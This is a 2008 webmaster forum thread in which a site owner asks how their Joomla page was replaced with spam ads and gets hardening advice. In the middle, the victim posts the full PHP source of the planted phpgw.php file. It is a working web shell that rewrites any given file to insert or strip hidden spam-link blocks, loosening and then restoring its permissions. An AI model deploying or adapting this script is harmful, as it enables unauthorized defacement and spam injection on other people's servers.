Forum Moderators: phranque

Message Too Old, No Replies

I was hacked - How do I prevent this from happening again?

         

Shadal

9:28 pm on May 8, 2008 (gmt 0)

10+ Year Member



I found today that one of my sites index.php pages had been replaced with one filled with a bunch of viagara ads and other crap.

The directory & childs which the index.php file resides is chmoded to 755 and the file itself to 644.

I found several lines in my cPanel raw access logs file which reads:
<snip> - - [06/May/2008:08:18:45 -0400] "POST /images/stories/phpgw.php?f=/home/alexande/public_html/templates/mbt_arcturustrans/index.php HTTP/1.0" 200 144 "-" "-"

But all of them have returned a 200 response which I believe means failed?! Several different IPs were used for the POST attempt on various days & various index.php files. So I'm not sure exactly HOW it was accomplished...

My hosting is provided by <snip>, the server I'm on is running:
Linux
Apache 1.3.37 (Unix)
PHP 5.2.1

In my previous 'hacked' experiences, it was my fault leaving a directory or file chmoded to 777, this time that is not the case, I've checked em' all!

So my question is how do I keep this from happening again?

[edited by: physics at 9:42 pm (utc) on May 8, 2008]
[edit reason] Removed some specifics [/edit]

physics

9:44 pm on May 8, 2008 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



First thing is to look at that /images/stories/phpgw.php file.
Is that file a part of your CMS or something? It looks like they used this script to post a garbage index.php over your legit one. Just guessing though.

If these are scripts that you wrote or had someone write for you make sure that standard security practices are followed on form inputs (i.e. cleanse the input data!).

physics

9:48 pm on May 8, 2008 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Are you running the PHPGW CMS?
[phpgw.sourceforge.net...]
From that page an update looks hopeless though... You might want to move to a new cms if you are indeed on PHPGW as the last update to that cms was in January 2003.

Shadal

6:38 pm on May 9, 2008 (gmt 0)

10+ Year Member



Wow, no, the phpgw.php file is not mine...
My images/stories folder is public writable due to the server not being able to write to it otherwise... I see now how this could have happened. Thanks Physics, guess I'll have to figure out a way to lock the images folder down...

Here's the contents of that phpgw.php file

<html>
<head><title>phpgw.php</title>
</head>
<body>
<?php

// <TEST>
// $_GET['s'] = '/home/jed/test/test.html';
// $_POST['m'] = '<p style="display: none">blaha-bla</p>';
// </TEST>

set_time_limit(36000);
$marker = '<!-- b2756e9ee842177c1af26faa1881031e -->';
function unslash_rec(&$arr)
{
reset($arr);
while (list($key)=each($arr))
{
if (is_array($arr[$key])) unslash_rec($arr[$key]);
else
{
$arr[$key]=stripslashes($arr[$key]);
};
};
};

function unslash_gpc()
{
if (get_magic_quotes_gpc())
{
unslash_rec($_POST);
};
};

$links = Array();
$elinks = Array();

function quote_link($lnk)
{
return preg_quote($lnk, '/');
};

function process_block($block)
{
GLOBAL $elinks;
$txt = $block[0];
foreach ($elinks as $elink)
{
$pattern = "/<a href=\"{$elink}[^\"]*\">.+?<\/a>[^<]*/";
print "PATTERN: [$pattern]<br/>\n";
$txt = preg_replace($pattern, '', $txt);
};
return $txt;
};

if (array_key_exists('f', $_GET))
{
unslash_gpc();
//header('Content-Type: text/plain');
if (false === ($txt = file_get_contents($_GET['f'])))
die("ERROR: 1 Failed to get file contents: {$_GET['f']}<br/>\n");
if (array_key_exists('m', $_POST))
{
// Adding
$add_html = false;
$add_body = false;
$add_marker = false;
if (!$_POST['a'])
{
$substr = stristr($txt, $marker);
if (!$substr)
{
$add_marker = true;
$substr = stristr($txt, '</body');
if (false === $substr)
{
print "</BODY not found!";// DEBUG
$add_body = true;
$substr = stristr($txt, '</html');
if (false === $substr)
{
print "</HTML not found!";// DEBUG
$add_html = true;
$substr = $txt;
// die("ERROR: 6 Failed to find &lt;/body&gt; tag <br/>\n");
};
};
$pos = strlen($txt) - strlen($substr);
}
else
{
$pos = strlen($txt) - strlen($substr) + strlen($marker);
};
$tail = substr($txt, $pos);
$txt = substr($txt, 0, $pos);
if ($add_marker)
$txt .= ' ' .$marker . ' ';
$txt .= ' ' . $_POST['m'] . ' ';
if ($add_body)
$txt .= '</body>';
if ($add_html)
$txt .= '</html>';
$txt .= $tail;
}
else
{
$txt = $_POST['m'] . ' ' . $txt;
};
}
else if (array_key_exists('u', $_POST))
{
// Removing
//header('Content-type: text/plain');
print "INPUT: [{$_POST['u']}] <br/>\n";
$links = explode("\n", $_POST['u']);
$links = array_map('trim', $links);
$links = preg_grep('/[^\s\r\n\t]/', $links);
print_r($links);
$elinks = array_map('quote_link', $links);
$pattern = '/<p style="display: none">.*?<\/p>/s';
$txt = preg_replace_callback($pattern, 'process_block', $txt);
$pattern = "/<p style=\"display: none\">[\s\r\n]*<\/p>/";
$txt = preg_replace($pattern, '', $txt);
};
$stat = @stat($_GET['f']);
// if ($stat['mode'] & 0777 != 0644)
// {
//
// };
if ($stat['mode'])
@chmod($_GET['f'], 0666);
$hf = fopen($_GET['f'], "w");
if (!$hf)
{
@chmod($_GET['f'], $stat['mode'] & 0777);
die('ERROR: 2 Failed to open file for writing<br>\n');
};
fwrite($hf, $txt);
fclose($hf);
if ($stat['mode'])
@chmod($_GET['f'], $stat['mode'] & 0777);

print "OK: 0 ALL OPERATIONS SUCCEEDED<br/>\n";
}
else
{
/*
print <<<EOM
<form action="up.php" method="POST">
<input type="text" name="s" style="width: 400px;" value=""/><br/>
<textarea name="u" style="width: 400px; height: 200px "></textarea><br/>
<input type="submit" value="Submit">
</form>
EOM;
*/
print "ERROR: 7 UNKNOWN<br/>\n";
};
?>
</body>
</html>

redone

11:27 am on May 11, 2008 (gmt 0)

10+ Year Member



The first big step in improving security is upgrading and updating any CMS etc you run. Pretty much most of every exploit I have ever seen has been from users running out of date and non-patched software.

Custom modifications is another story and they offer some vulnerability as well but I would check to ensure your running the latest version of the CMS your using or just switch to another more secure one.

Shadal

10:11 pm on May 16, 2008 (gmt 0)

10+ Year Member



I always keep em' up to date :)
I was running Joomla 1.0.15 in this instance.

Thanks

securehotel

12:54 am on May 26, 2008 (gmt 0)

10+ Year Member



I would suggest you have a look at the joomla forum where there is a large topic on locking your images folder using a htaccess script.

Shadal

9:45 pm on May 26, 2008 (gmt 0)

10+ Year Member



thanks securehotel